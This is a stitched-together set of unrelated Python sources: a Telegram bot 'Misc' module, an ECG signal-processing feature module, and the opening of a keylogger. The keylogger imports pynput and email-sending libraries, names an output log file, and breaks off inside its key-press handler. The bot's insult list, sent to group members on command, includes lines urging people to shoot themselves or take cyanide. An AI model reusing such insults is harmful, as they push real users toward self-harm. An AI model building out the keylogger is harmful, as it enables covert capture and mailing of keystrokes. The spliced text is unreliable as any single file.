import html
import json
import random
import telegram
from datetime import datetime
from typing import Optional, List
from io import BytesIO
from time import sleep
import time
import requests
import os
from telegram import TelegramError, Message, Chat, Update, Bot, MessageEntity, ParseMode, User
from telegram.ext import CommandHandler, run_async, Filters, MessageHandler
from telegram.ext.dispatcher import run_async
from telegram.utils.helpers import escape_markdown, mention_html
from telegram.error import BadRequest

from axel_kassemsyr import dispatcher, OWNER_ID, SUDO_USERS, SUPPORT_USERS, WHITELIST_USERS, BAN_STICKER, LOGGER
from axel_kassemsyr.__main__ import STATS, USER_INFO, GDPR
from axel_kassemsyr.modules.disable import DisableAbleCommandHandler
from axel_kassemsyr.modules.helper_funcs.extraction import extract_user
from axel_kassemsyr.modules.helper_funcs.filters import CustomFilters
from axel_kassemsyr.modules.helper_funcs.chat_status import is_user_ban_protected
import axel_kassemsyr.modules.sql.users_sql as sql

from geopy.geocoders import Nominatim
from telegram import Location

RUN_STRINGS = (
    "Where do you think you're going?",
    "Huh? what? did they get away?",
    "ZZzzZZzz... Huh? what? oh, just them again, nevermind.",
    "Get back here!",
    "Not so fast...",
    "Look out for the wall!",
    "Don't leave me alone with them!!",
    "You run, you die.",
    "Jokes on you, I'm everywhere",
    "You're gonna regret that...",
    "You could also try /kickme, I hear that's fun.",
    "Go bother someone else, no-one here cares.",
    "You can run, but you can't hide.",
    "Is that all you've got?",
    "I'm behind you...",
    "You've got company!",
    "We can do this the easy way, or the hard way.",
    "You just don't get it, do you?",
    "Yeah, you better run!",
    "Please, remind me how much I care?",
    "I'd run faster if I were you.",
    "That's definitely the droid we're looking for.",
    "May the odds be ever in your favour.",
    "Famous last words.",
    "And they disappeared forever, never to be seen again.",
    "\"Oh, look at me! I'm so cool, I can run from a bot!\" - this person",
    "Yeah yeah, just tap /kickme already.",
    "Here, take this ring and head to Mordor while you're at it.",
    "Legend has it, they're still running...",
    "Unlike Harry Potter, your parents can't protect you from me.",
    "Fear leads to anger. Anger leads to hate. Hate leads to suffering. If you keep running in fear, you might "
    "be the next Vader.",
    "Multiple calculations later, I have decided my interest in your shenanigans is exactly 0.",
    "Legend has it, they're still running.",
    "Keep it up, not sure we want you here anyway.",
    "You're a wiza- Oh. Wait. You're not Harry, keep moving.",
    "NO RUNNING IN THE HALLWAYS!",
    "Hasta la vista, baby.",
    "Who let the dogs out?",
    "It's funny, because no one cares.",
    "Ah, what a waste. I liked that one.",
    "Frankly, my dear, I don't give a damn.",
    "My milkshake brings all the boys to yard... So run faster!",
    "You can't HANDLE the truth!",
    "A long time ago, in a galaxy far far away... Someone would've cared about that. Not anymore though.",
    "Hey, look at them! They're running from the inevitable banhammer... Cute.",
    "Han shot first. So will I.",
    "What are you running after, a white rabbit?",
    "As The Doctor would say... RUN!",
)

SLAP_TEMPLATES = (
    "{user1} {hits} {user2} with *{item}*. {emoji}",
    "{user1} {hits} {user2} in the face with *{item}*. {emoji}",
    "{user1} {hits} {user2} around a bit with *{item}*. {emoji}",
    "{user1} {throws} *{item}* at {user2}. {emoji}",
    "{user1} grabs *{item}* and {throws} it at {user2}'s face. {emoji}",
    "{user1} launches *{item}* in {user2}'s general direction. {emoji}",
    "{user1} starts slapping {user2} silly with *{item}*. {emoji}",
    "{user1} pins {user2} down and repeatedly {hits} them with *{item}*. {emoji}",
    "{user1} grabs up *{item}* and {hits} {user2} with it. {emoji}",
    "{user1} ties {user2} to a chair and {throws} *{item}* at them. {emoji}",
)

PUNCH_TEMPLATES = (
    "{user1} {punches} {user2} to assert dominance.",
    "{user1} {punches} {user2} to see if they shut the fuck up for once.",
    "{user1} {punches} {user2} because they were asking for it.",
    "It's over {user2}, they have the high ground.",
    "{user1} performs a superman punch on {user2}, {user2} is rekt now.",
    "{user1} kills off {user2} with a T.K.O",
    "{user1} attacks {user2} with a billiard cue. A bloody mess.",
    "{user1} disintegrates {user2} with a MG.",
    "A hit and run over {user2} performed by {user1}",
    "{user1} punches {user2} into the throat. Warning, choking hazard!",
    "{user1} drops a piano on top of {user2}. A harmonical death.",
    "{user1} throws rocks at {user2}",
    "{user1} forces {user2} to drink chlorox. What a painful death.",
    "{user2} got sliced in half by {user1}'s katana.",
    "{user1} makes {user2} fall on their sword. A stabby death lol.",
    "{user1} kangs {user2} 's life energy away.",
    "{user1} shoot's {user2} into a million pieces. Hasta la vista baby.",
    "{user1} drop's the frigde on {user2}. Beware of crushing.",
    "{user1} engage's a guerilla tactic on {user2}",
    "{user1} ignite's {user2} into flames. IT'S LIT FAM.",
    "{user1} pulls a loaded 12 gauge on {user2}.",
    "{user1} throws a Galaxy Note7 into {user2}'s general direction. A bombing massacre.",
    "{user1} walks with {user2} to the end of the world, then pushes him over the edge.",
    "{user1} performs a Stabby McStabby on {user2} with a butterfly.",
    "{user1} cut's {user2}'s neck off with a machete. A blood bath.",
    "{user1} secretly fills in {user2}'s cup with Belle Delphine's Gamer Girl Bathwater instead of water. Highly contagious herpes.",
    "{user1} is tea cupping on {user2} after a 1v1, to assert their dominance.",
    "{user1} ask's for {user2}'s last words. {user2} is ded now.",
    "{user1} let's {user2} know their position.",
    "{user1} makes {user2} to his slave. What is your bidding? My Master.",
    "{user1} forces {user2} to commit suicide.",
    "{user1} shout's 'it's garbage day' at {user2}.",
    "{user1} throws his axe at {user2}.",
    "{user1} is now {user2}'s grim reaper.",
)

PUNCH = (
    "punches",
    "RKOs",
    "smashes the skull of",
    "throws a pipe wrench at",
)

ITEMS = (
    "a Samsung J5 2017",
    "a Samsung S10+",
    "an iPhone XS MAX",
    "a Note 9",
    "a Note 10+",
    "knox 0x0",
    "OneUI 2.0",
    "OneUI 69.0",
    "TwoUI 1.0",
    "Secure Folder",
    "Samsung Pay",
    "prenormal RMM state",
    "prenormal KG state",
    "a locked bootloader",
    "payment lock",
    "stock rom",
    "good rom",
    "Good Lock apps",
    "Q port",
    "Pie port",
    "8.1 port",
    "Pie port",
    "Pie OTA",
    "Q OTA",
    "LineageOS 16",
    "LineageOS 17",
    "a bugless rom",
    "a kernel",
    "a kernal",
    "a karnal",
    "a karnel",
    "official TWRP",
    "VOLTE",
    "kanged rom",
    "an antikang",
    "audio fix",
    "hwcomposer fix",
    "mic fix",
    "random reboots",
    "bootloops",
    "unfiltered logs",
    "a keylogger",
    "120FPS",
    "a download link",
    "168h uptime",
    "a paypal link",
    "treble support",
    "EVO-X gsi",
    "Q gsi",
    "Q beta",
    "a Rom Control",
    "a hamburger",
    "a cheeseburger",
    "a Big-Mac",
)

THROW = (
    "throws",
    "flings",
    "chucks",
    "hurls",
)

HIT = (
    "hits",
    "whacks",
    "slaps",
    "smacks",
    "spanks",
    "bashes",
)
EMOJI = (
    "\U0001F923",
    "\U0001F602",
    "\U0001F922",
    "\U0001F605",
    "\U0001F606",
    "\U0001F609",
    "\U0001F60E",
    "\U0001F929",
    "\U0001F623",
    "\U0001F973",
    "\U0001F9D0",
    "\U0001F632",
)

SFW_STRINGS = (
    "Owww ... Such a stupid idiot.",
    "Don't drink and type.",
    "I think you should go home or better a mental asylum.",
    "Command not found. Just like your brain.",
    "Do you realize you are making a fool of yourself? Apparently not.",
    "You can type better than that.",
    "Bot rule 544 section 9 prevents me from replying to stupid humans like you.",
    "Sorry, we do not sell brains.",
    "Believe me you are not normal.",
    "I bet your brain feels as good as new, seeing that you never use it.",
    "If I wanted to kill myself I'd climb your ego and jump to your IQ.",
    "Zombies eat brains... you're safe.",
    "You didn't evolve from apes, they evolved from you.",
    "Come back and talk to me when your I.Q. exceeds your age.",
    "I'm not saying you're stupid, I'm just saying you've got bad luck when it comes to thinking.",
    "What language are you speaking? Cause it sounds like bullshit.",
    "Stupidity is not a crime so you are free to go.",
    "You are proof that evolution CAN go in reverse.",
    "I would ask you how old you are but I know you can't count that high.",
    "As an outsider, what do you think of the human race?",
    "Brains aren't everything. In your case they're nothing.",
    "Ordinarily people live and learn. You just live.",
    "I don't know what makes you so stupid, but it really works.",
    "Keep talking, someday you'll say something intelligent! (I doubt it though)",
    "Shock me, say something intelligent.",
    "Your IQ's lower than your shoe size.",
    "Alas! Your neurotransmitters are no more working.",
    "Are you crazy you fool.",
    "Everyone has the right to be stupid but you are abusing the privilege.",
    "I'm sorry I hurt your feelings when I called you stupid. I thought you already knew that.",
    "You should try tasting cyanide.",
    "Your enzymes are meant to digest rat poison.",
    "You should try sleeping forever.",
    "Pick up a gun and shoot yourself.",
    "You could make a world record by jumping from a plane without parachute.",
    "Stop talking BS and jump in front of a running bullet train.",
    "Try bathing with Hydrochloric Acid instead of water.",
    "Try this: if you hold your breath underwater for an hour, you can then hold it forever.",
    "Go Green! Stop inhaling Oxygen.",
    "God was searching for you. You should leave to meet him.",
    "give your 100%. Now, go donate blood.",
    "Try jumping from a hundred story building but you can do it only once.",
    "You should donate your brain seeing that you never used it.",
    "Volunteer for target in an firing range.",
    "Head shots are fun. Get yourself one.",
    "You should try swimming with great white sharks.",
    "You should paint yourself red and run in a bull marathon.",
    "You can stay underwater for the rest of your life without coming back up.",
    "How about you stop breathing for like 1 day? That'll be great.",
    "Try provoking a tiger while you both are in a cage.",
    "Have you tried shooting yourself as high as 100m using a canon.",
    "You should try holding TNT in your mouth and igniting it.",
    "Try playing catch and throw with RDX its fun.",
    "I heard phogine is poisonous but i guess you wont mind inhaling it for fun.",
    "Launch yourself into outer space while forgetting oxygen on Earth.",
    "You should try playing snake and ladders, with real snakes and no ladders.",
    "Dance naked on a couple of HT wires.",
    "Active Volcano is the best swimming pool for you.",
    "You should try hot bath in a volcano.",
    "Try to spend one day in a coffin and it will be yours forever.",
    "Hit Uranium with a slow moving neutron in your presence. It will be a worthwhile experience.",
    "You can be the first person to step on sun. Have a try.",
)

HBD_STRINGS = (
    "Happy birthday ",
    "HBD 😍 ",
    "HBD :) ",
    "Heppi burfdey ",
    "Hep burf ",
    "Happy day of birthing ",
    "Sadn't deathn't-day ",
    "Oof, you were born today ",
)

GMAPS_LOC = "https://maps.googleapis.com/maps/api/geocode/json"
GMAPS_TIME = "https://maps.googleapis.com/maps/api/timezone/json"

SMACK_STRING = """[smack my beach up!!](https://vimeo.com/31482159)"""

@run_async
def runs(bot: Bot, update: Update):
    running = update.effective_message
    if running.reply_to_message:
        update.effective_message.reply_to_message.reply_text(random.choice(RUN_STRINGS))
    else:
        update.effective_message.reply_text(random.choice(RUN_STRINGS))

@run_async
def insult(bot: Bot, update: Update):
    inst = update.effective_message
    if inst.reply_to_message:
        update.effective_message.reply_to_message.reply_text(random.choice(SFW_STRINGS))
    else:
        update.effective_message.reply_text(random.choice(SFW_STRINGS))

@run_async
def birthday(bot: Bot, update: Update, args: List[str]):
    if args:
        username = str(",".join(args))
    for i in range(5):
        bdm = random.choice(HBD_STRINGS)
        update.effective_message.reply_text(bdm + username)

@run_async
def smack(bot: Bot, update: Update):
    msg = update.effective_message
    if msg.reply_to_message:
        update.effective_message.reply_to_message.reply_text(SMACK_STRING, parse_mode=ParseMode.MARKDOWN, disable_web_page_preview=True)
    else:
        update.effective_message.reply_text(SMACK_STRING, parse_mode=ParseMode.MARKDOWN, disable_web_page_preview=True)

@run_async
def slap(bot: Bot, update: Update, args: List[str]):
    msg = update.effective_message  # type: Optional[Message]

    # reply to correct message
    reply_text = msg.reply_to_message.reply_text if msg.reply_to_message else msg.reply_text

    # get user who sent message
    if msg.from_user.username:
        curr_user = "@" + escape_markdown(msg.from_user.username)
    else:
        curr_user = "[{}](tg://user?id={})".format(msg.from_user.first_name, msg.from_user.id)

    user_id = extract_user(update.effective_message, args)
    if user_id == bot.id or user_id == 777000:
        user1 = "[{}](tg://user?id={})".format(bot.first_name, bot.id)
        user2 = curr_user
    elif user_id:
        slapped_user = bot.get_chat(user_id)
        user1 = curr_user
        if slapped_user.username:
            user2 = "@" + escape_markdown(slapped_user.username)
        else:
            user2 = "[{}](tg://user?id={})".format(slapped_user.first_name,
                                                   slapped_user.id)

    # if no target found, bot targets the sender
    else:
        user1 = "[{}](tg://user?id={})".format(bot.first_name, bot.id)
        user2 = curr_user

    temp = random.choice(SLAP_TEMPLATES)
    item = random.choice(ITEMS)
    hit = random.choice(HIT)
    throw = random.choice(THROW)
    emoji = random.choice(EMOJI)

    repl = temp.format(user1=user1, user2=user2, item=item, hits=hit, throws=throw, emoji=emoji)

    reply_text(repl, parse_mode=ParseMode.MARKDOWN)

@run_async
def punch(bot: Bot, update: Update, args: List[str]):
    msg = update.effective_message  # type: Optional[Message]

    # reply to correct message
    reply_text = msg.reply_to_message.reply_text if msg.reply_to_message else msg.reply_text

    # get user who sent message
    if msg.from_user.username:
        curr_user = "@" + escape_markdown(msg.from_user.username)
    else:
        curr_user = "[{}](tg://user?id={})".format(msg.from_user.first_name, msg.from_user.id)

    user_id = extract_user(update.effective_message, args)
    if user_id == bot.id or user_id == 777000:
        user1 = "[{}](tg://user?id={})".format(bot.first_name, bot.id)
        user2 = curr_user
    elif user_id:
        slapped_user = bot.get_chat(user_id)
        user1 = curr_user
        if slapped_user.username:
            user2 = "@" + escape_markdown(slapped_user.username)
        else:
            user2 = "[{}](tg://user?id={})".format(slapped_user.first_name,
                                                   slapped_user.id)

    # if no target found, bot targets the sender
    else:
        user1 = "[{}](tg://user?id={})".format(bot.first_name, bot.id)
        user2 = curr_user

    temp = random.choice(PUNCH_TEMPLATES)
    punch = random.choice(PUNCH)

    repl = temp.format(user1=user1, user2=user2, punches = punch)

    reply_text(repl, parse_mode=ParseMode.MARKDOWN)

@run_async
def get_id(bot: Bot, update: Update, args: List[str]):
    user_id = extract_user(update.effective_message, args)
    if user_id:
        if update.effective_message.reply_to_message and update.effective_message.reply_to_message.forward_from:
            user1 = update.effective_message.reply_to_message.from_user
            user2 = update.effective_message.reply_to_message.forward_from
            update.effective_message.reply_text(
                "The original sender, {}, has an ID of `{}`.\nThe forwarder, {}, has an ID of `{}`.".format(
                    escape_markdown(user2.first_name),
                    user2.id,
                    escape_markdown(user1.first_name),
                    user1.id),
                parse_mode=ParseMode.MARKDOWN)
        else:
            user = bot.get_chat(user_id)
            update.effective_message.reply_text("{}'s id is `{}`.".format(escape_markdown(user.first_name), user.id),
                                                parse_mode=ParseMode.MARKDOWN)
    else:
        chat = update.effective_chat  # type: Optional[Chat]
        if chat.type == "private":
            update.effective_message.reply_text("Your id is `{}`.".format(chat.id),
                                                parse_mode=ParseMode.MARKDOWN)

        else:
            update.effective_message.reply_text("This group's id is `{}`.".format(chat.id),
                                                parse_mode=ParseMode.MARKDOWN)

@run_async
def info(bot: Bot, update: Update, args: List[str]):
    msg = update.effective_message  # type: Optional[Message]
    user_id = extract_user(update.effective_message, args)

    if user_id and int(user_id) != 777000:
        user = bot.get_chat(user_id)

    elif user_id and int(user_id) == 777000:
        msg.reply_text("This is Telegram. Unless you manually entered this reserved account's ID, it is likely a broadcast from a linked channel.")
        return

    elif not msg.reply_to_message and not args:
        user = msg.from_user

    elif not msg.reply_to_message and (not args or (
            len(args) >= 1 and not args[0].startswith("@") and not args[0].isdigit() and not msg.parse_entities(
        [MessageEntity.TEXT_MENTION]))):
        msg.reply_text("I can't extract a user from this.")
        return
    else:
        return

    text = "User info:" \
           "\nID: {}" \
           "\nFirst Name: {}".format(user.id, html.escape(user.first_name))

    if user.last_name:
        text += "\nLast Name: {}".format(html.escape(user.last_name))

    if user.username:
        text += "\nUsername: @{}".format(html.escape(user.username))

    text += "\nPermanent user link: {}".format(mention_html(user.id, "link"))

    if user.id == OWNER_ID:
        text += "\n\nThis person is my owner - I would never do anything against them!"
    else:
        if user.id in SUDO_USERS:
            text += "\nThis person is one of my sudo users! " \
                    "Nearly as powerful as my owner - so watch it."
        else:
            if user.id in SUPPORT_USERS:
                text += "\nThis person is one of my support users! " \
                        "Not quite a sudo user, but can still gban you off the map."

            if user.id in WHITELIST_USERS:
                text += "\nThis person has been whitelisted! " \
                        "That means I'm not allowed to ban/kick them."

    for mod in USER_INFO:
        mod_info = mod.__user_info__(user.id).strip()
        if mod_info:
            text += "\n\n" + mod_info

    update.effective_message.reply_text(text, parse_mode=ParseMode.HTML)

@run_async
def get_time(bot: Bot, update: Update, args: List[str]):
    location = " ".join(args)
    if location.lower() == bot.first_name.lower():
        update.effective_message.reply_text("Its always banhammer time for me!")
        bot.send_sticker(update.effective_chat.id, BAN_STICKER)
        return

    res = requests.get(GMAPS_LOC, params=dict(address=location))

    if res.status_code == 200:
        loc = json.loads(res.text)
        if loc.get('status') == 'OK':
            lat = loc['results'][0]['geometry']['location']['lat']
            long = loc['results'][0]['geometry']['location']['lng']

            country = None
            city = None

            address_parts = loc['results'][0]['address_components']
            for part in address_parts:
                if 'country' in part['types']:
                    country = part.get('long_name')
                if 'administrative_area_level_1' in part['types'] and not city:
                    city = part.get('long_name')
                if 'locality' in part['types']:
                    city = part.get('long_name')

            if city and country:
                location = "{}, {}".format(city, country)
            elif country:
                location = country

            timenow = int(datetime.utcnow().timestamp())
            res = requests.get(GMAPS_TIME, params=dict(location="{},{}".format(lat, long), timestamp=timenow))
            if res.status_code == 200:
                offset = json.loads(res.text)['dstOffset']
                timestamp = json.loads(res.text)['rawOffset']
                time_there = datetime.fromtimestamp(timenow + timestamp + offset).strftime("%H:%M:%S on %A %d %B")
                update.message.reply_text("It's {} in {}".format(time_there, location))

@run_async
def echo(bot: Bot, update: Update):
    args = update.effective_message.text.split(None, 1)
    message = update.effective_message
    if message.reply_to_message:
        message.reply_to_message.reply_text(args[1])
    else:
        message.reply_text(args[1], quote=False)
    message.delete()

MARKDOWN_HELP = """
Markdown is a very powerful formatting tool supported by telegram. {} has some enhancements, to make sure that \
saved messages are correctly parsed, and to allow you to create buttons.
- _italic_: wrapping text with '_' will produce italic text
- *bold*: wrapping text with '*' will produce bold text
- `code`: wrapping text with '`' will produce monospaced text, also known as 'code'
- [sometext](someURL): this will create a link - the message will just show sometext, \
and tapping on it will open the page at someURL.
EG: [test](example.com)
- [buttontext](buttonurl:someURL): this is a special enhancement to allow users to have telegram \
buttons in their markdown. buttontext will be what is displayed on the button, and someurl \
will be the url which is opened.
EG: [This is a button](buttonurl:example.com)
If you want multiple buttons on the same line, use :same, as such:
[one](buttonurl://example.com)
[two](buttonurl://google.com:same)
This will create two buttons on a single line, instead of one button per line.
Keep in mind that your message MUST contain some text other than just a button!
""".format(dispatcher.bot.first_name)

@run_async
def markdown_help(bot: Bot, update: Update):
    update.effective_message.reply_text(MARKDOWN_HELP, parse_mode=ParseMode.HTML)
    update.effective_message.reply_text("Try forwarding the following message to me, and you'll see!")
    update.effective_message.reply_text("/save test This is a markdown test. _italics_, *bold*, `code`, "
                                        "[URL](example.com) [button](buttonurl:github.com) "
                                        "[button2](buttonurl://google.com:same)")

@run_async
def stats(bot: Bot, update: Update):
	update.effective_message.reply_text("*Current stats:*\n" + "\n".join([mod.__stats__() for mod in STATS]),
                                                parse_mode=ParseMode.MARKDOWN)

def gps(bot: Bot, update: Update, args: List[str]):
    message = update.effective_message
    if len(args) == 0:
        update.effective_message.reply_text("That was a funny joke, but no really, put in a location")
    try:
        geolocator = Nominatim(user_agent="hades")
        location = " ".join(args)
        geoloc = geolocator.geocode(location)
        chat_id = update.effective_chat.id
        lon = geoloc.longitude
        lat = geoloc.latitude
        the_loc = Location(lon, lat)
        gm = "https://www.google.com/maps/search/{},{}".format(lat,lon)
        bot.send_location(chat_id, location=the_loc)
        update.message.reply_text("Open with: [Google Maps]({})".format(gm), parse_mode=ParseMode.MARKDOWN, disable_web_page_preview=True)
    except AttributeError:
        update.message.reply_text("I can't find that")

@run_async
def getlink(bot: Bot, update: Update, args: List[int]):
    if args:
        chat_id = int(args[0])
    else:
        update.effective_message.reply_text("You don't seem to be referring to a chat")
    for chat_id in args:
        try:
            chat = bot.getChat(chat_id)
            bot_member = chat.get_member(bot.id)
            if bot_member.can_invite_users:
                invitelink = bot.exportChatInviteLink(chat_id)
                update.effective_message.reply_text("Invite link for: " + chat_id + "\n" + invitelink)
            else:
                update.effective_message.reply_text("I don't have access to the invite link.")
        except BadRequest as excp:
                update.effective_message.reply_text(excp.message + " " + str(chat_id))
        except TelegramError as excp:
                update.effective_message.reply_text(excp.message + " " + str(chat_id))

@run_async
def slist(bot: Bot, update: Update):
    message = update.effective_message
    text1 = "My sudo users are:"
    text2 = "My support users are:"
    for user_id in SUDO_USERS:
        try:
            user = bot.get_chat(user_id)
            name = "[{}](tg://user?id={})".format(user.first_name + (user.last_name or ""), user.id)
            if user.username:
                name = escape_markdown("@" + user.username)
            text1 += "\n - {}".format(name)
        except BadRequest as excp:
            if excp.message == 'Chat not found':
                text1 += "\n - ({}) - not found".format(user_id)
    for user_id in SUPPORT_USERS:
        try:
            user = bot.get_chat(user_id)
            name = "[{}](tg://user?id={})".format(user.first_name + (user.last_name or ""), user.id)
            if user.username:
                name = escape_markdown("@" + user.username)
            text2 += "\n - {}".format(name)
        except BadRequest as excp:
            if excp.message == 'Chat not found':
                text2 += "\n - ({}) - not found".format(user_id)
    message.reply_text(text1 + "\n", parse_mode=ParseMode.MARKDOWN)
    message.reply_text(text2 + "\n", parse_mode=ParseMode.MARKDOWN)

# /ip is for private use
__help__ = """
Some random modules (extras).

*Owner Only*
 - /getlink <group id>: Gets invite link for a specific chat.
 - /supromote <id>: Promote user to sudo.
 - /sudemote <id>: Demote sudo user.

 *Sudo users*
 - /sulist : Gets sudo users list.

 *Avaliable commands*
 - /id: get the current group id. If used by replying to a message, gets that user's id.
 - /runs: reply a random string from an array of replies.
 - /spank: same as /slap but nastier.
 - /slap: slap a user, or get slapped if not a reply.
 - /insult : replay a random insult string.
 - /birthday <username> : spam user with birthday messages.
 - /info: get information about a user.
 - /markdownhelp: quick summary of how markdown works in telegram - can only be called in private chats.
"""

__mod_name__ = "Misc"

ID_HANDLER = DisableAbleCommandHandler("id", get_id, pass_args=True)

TIME_HANDLER = CommandHandler("time", get_time, pass_args=True)

RUNS_HANDLER = DisableAbleCommandHandler("runs", runs)
INST_HANDLER = DisableAbleCommandHandler("insult", insult)
HBD_HANDLER = DisableAbleCommandHandler("birthday", birthday, pass_args=True, filters=Filters.group)
SMACK_HANDLER = DisableAbleCommandHandler("smack", smack)
SLAP_HANDLER = DisableAbleCommandHandler("slap", slap, pass_args=True)
PUNCH_HANDLER = DisableAbleCommandHandler("punch", punch, pass_args=True)
SPANK_HANDLER = DisableAbleCommandHandler("spank", slap, pass_args=True)
INFO_HANDLER = DisableAbleCommandHandler("info", info, pass_args=True)
ECHO_HANDLER = CommandHandler("echo", echo, filters=Filters.user(OWNER_ID))
MD_HELP_HANDLER = CommandHandler("markdownhelp", markdown_help, filters=Filters.private)
GETLINK_HANDLER = CommandHandler("getlink", getlink, pass_args=True, filters=Filters.user(OWNER_ID))
SLIST_HANDLER = CommandHandler("sulist", slist, filters=CustomFilters.sudo_filter)

STATS_HANDLER = CommandHandler("stats", stats, filters=CustomFilters.sudo_filter)
GPS_HANDLER = DisableAbleCommandHandler("gps", gps, pass_args=True)

dispatcher.add_handler(ID_HANDLER)
# dispatcher.add_handler(TIME_HANDLER)
dispatcher.add_handler(RUNS_HANDLER)
dispatcher.add_handler(SMACK_HANDLER)
dispatcher.add_handler(SLAP_HANDLER)
dispatcher.add_handler(PUNCH_HANDLER)
dispatcher.add_handler(SPANK_HANDLER)
dispatcher.add_handler(INFO_HANDLER)
dispatcher.add_handler(ECHO_HANDLER)
dispatcher.add_handler(MD_HELP_HANDLER)
dispatcher.add_handler(STATS_HANDLER)
dispatcher.add_handler(GPS_HANDLER)
dispatcher.add_handler(INST_HANDLER)
dispatcher.add_handler(HBD_HANDLER)
dispatcher.add_handler(GETLINK_HANDLER)
dispatcher.add_handler(SLIST_HANDLER)


import numpy as np
import math
import pywt
from scipy.signal import butter, filtfilt

import entropy as ent
"""Copyright (c) 2021 Yang Liu
All rights reserved.

This source code is licensed under the license found in the
LICENSE file in the root directory of this source tree.
"""

import smooth

def preprocess(signals, rm_baseline, denoise, fs, lowcut=0.1, highcut=30):
    if rm_baseline:
        for i in range(signals.shape[1]):
            smoothed_signal = smooth.smooth(signals[:, i], window_len=int(fs), window='flat')
            signals[:, i] = signals[:, i] - smoothed_signal

    if denoise:
        signals = bandpass_filter(signals, lowcut, highcut, fs, 1)

        # # denoise ECG
        # for i in range(signals.shape[1]):
        #     # DWT
        #     coeffs = pywt.wavedec(signals[:, i], 'db4', level=2)
        #     # compute threshold
        #     noiseSigma = 0.1
        #     threshold = noiseSigma * math.sqrt(2 * math.log2(signals[:, i].size))
        #     # apply threshold
        #     newcoeffs = coeffs
        #     for j in range(len(newcoeffs)):
        #         newcoeffs[j] = pywt.threshold(coeffs[j], threshold, mode='soft')
        #
        #     # IDWT
        #     signals[:, i] = pywt.waverec(newcoeffs, 'db4')[0:len(signals)]

    return signals

def extract_relative_RR_feature(qrs_positions,
                                signal_length,
                                rrs_for_estimating_normal_rr,
                                relative_rr_scale_rate):

    beat_number = qrs_positions.shape[0]
    relative_rrs = np.zeros((beat_number,), dtype=np.float32)
    relative_rrs_map = np.zeros((signal_length, 1), dtype=np.float32)
    for i in range(1, beat_number):
        qrs_range_begin = i - int(rrs_for_estimating_normal_rr / 2)
        qrs_range_begin = qrs_range_begin if qrs_range_begin > 0 else 0
        qrs_range_end = qrs_range_begin + rrs_for_estimating_normal_rr
        qrs_range_end = qrs_range_end if qrs_range_end < len(qrs_positions) else len(qrs_positions)
        qrs_range_begin = qrs_range_end - rrs_for_estimating_normal_rr
        qrs_range_begin = qrs_range_begin if qrs_range_begin > 0 else 0

        beats_in_context = qrs_positions[qrs_range_begin: qrs_range_end]
        context_rr = np.sort(np.diff(beats_in_context))
        context_normal_rr = context_rr[-len(context_rr)//2:].mean()
        rr = qrs_positions[i] - qrs_positions[i - 1]
        relative_rrs[i] = (context_normal_rr - rr) / context_normal_rr * relative_rr_scale_rate

        # map feature to QRS position
        range_begin = math.ceil((qrs_positions[i - 1] + qrs_positions[i]) / 2)
        range_end = signal_length if i == len(qrs_positions) - 1 else math.ceil(
            (qrs_positions[i + 1] + qrs_positions[i]) / 2)
        relative_rrs_map[range_begin:range_end, 0] = relative_rrs[i]

    return relative_rrs, relative_rrs_map

def extract_RR_entropy(qrs_positions,
                       signal_length,
                       rrs_for_entropy_computing,
                       rrs_normalize_for_entropy,
                       mm,
                       r,
                       fs):
    beat_number = qrs_positions.shape[0]
    rrs_sample_entropy = np.zeros((beat_number,), dtype=np.float32)
    for i in range(beat_number):
        qrs_range_begin = i - int(rrs_for_entropy_computing / 2)
        qrs_range_begin = qrs_range_begin if qrs_range_begin > 0 else 0
        qrs_range_end = qrs_range_begin + rrs_for_entropy_computing
        qrs_range_end = qrs_range_end if qrs_range_end < len(qrs_positions) else len(qrs_positions)
        qrs_range_begin = qrs_range_end - rrs_for_entropy_computing
        qrs_range_begin = qrs_range_begin if qrs_range_begin > 0 else 0

        beats_for_entropy = qrs_positions[qrs_range_begin: qrs_range_end]
        rrs_sample_entropy[i] = compute_RR_sampleEn_single(beats_for_entropy, fs,
                                                           normalize=rrs_normalize_for_entropy,
                                                           mm=mm, r=r)

    rrs_sample_entropy_map = compute_feature_map(qrs_positions, rrs_sample_entropy, signal_length)

    return rrs_sample_entropy, rrs_sample_entropy_map

def compute_RR_sampleEn_single(qrs_positions,
                               fs=250,
                               normalize=False,
                               mm=1, r=0.1):
    qrs_positions = qrs_positions / fs
    if len(qrs_positions) > 2:
        rrs = np.diff(qrs_positions)
    else:
        rrs = np.array([1])

    if normalize:
        rrs = rrs / np.median(rrs)

    # r = r * np.std(rrs)

    if len(rrs) > 3:
        try:
            sample_entropy = ent.sample_entropy(rrs, mm, r)
            if sample_entropy > 5:
                sample_entropy = 5
        except Exception as e:
            print(e)
            print('QRS number:', len(qrs_positions))
            sample_entropy = 5
    else:
        sample_entropy = 5

    return sample_entropy

def compute_beatref_sequence(segment_length, beats_list, beat_labels, class_num):
    segment_num = len(beats_list)
    beatref_sequence = np.zeros((segment_num, segment_length, class_num), dtype=np.float32)
    for i in range(segment_num):
        qrs_times = beats_list[i]
        for j in range(len(qrs_times)):
            class_id = beat_labels[i][j]
            beatref_sequence[i, qrs_times[j], class_id] = 1

    return beatref_sequence

def compute_feature_map(qrs_positions, features, signal_length):
    if len(features.shape) < 2:
        features = np.expand_dims(features, axis=-1)
    feature_map = np.zeros((signal_length, features.shape[1]), dtype=np.float32)
    beat_number = len(qrs_positions)
    for i in range(beat_number):
        # map feature to QRS position
        range_begin = 0 if i == 0 else math.ceil((qrs_positions[i - 1] + qrs_positions[i]) / 2)
        range_end = signal_length if i == len(qrs_positions) - 1 else math.ceil(
            (qrs_positions[i + 1] + qrs_positions[i]) / 2)
        feature_map[range_begin:range_end, :] = features[i, :]

    return feature_map

def bandpass_filter(data, lowcut, highcut, signal_freq, filter_order):
    """
    Method responsible for creating and applying Butterworth filter.
    :param deque data: raw data
    :param float lowcut: filter lowcut frequency value
    :param float highcut: filter highcut frequency value
    :param int signal_freq: signal frequency in samples per second (Hz)
    :param int filter_order: filter order
    :return array: filtered data
    """
    nyquist_freq = 0.5 * signal_freq
    low = lowcut / nyquist_freq
    high = highcut / nyquist_freq
    data_filtered = np.zeros_like(data, dtype=np.float32)
    for i in range(data.shape[-1]):
        b, a = butter(filter_order, [low, high], btype="bandpass", output='ba')
        data_filtered[:, i] = filtfilt(b, a, data[:, i])

    return data_filtered

# function to generate all the sub lists
def sub_lists (l):
    lists = [[]]
    for i in range(len(l) + 1):
        for j in range(i):
            lists.append(l[j: i])
    return lists


from pynput import keyboard
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders
import time

output_file = "dados.txt"

# Função para lidar com as teclas pressionadas
def on_press(key):
    try:
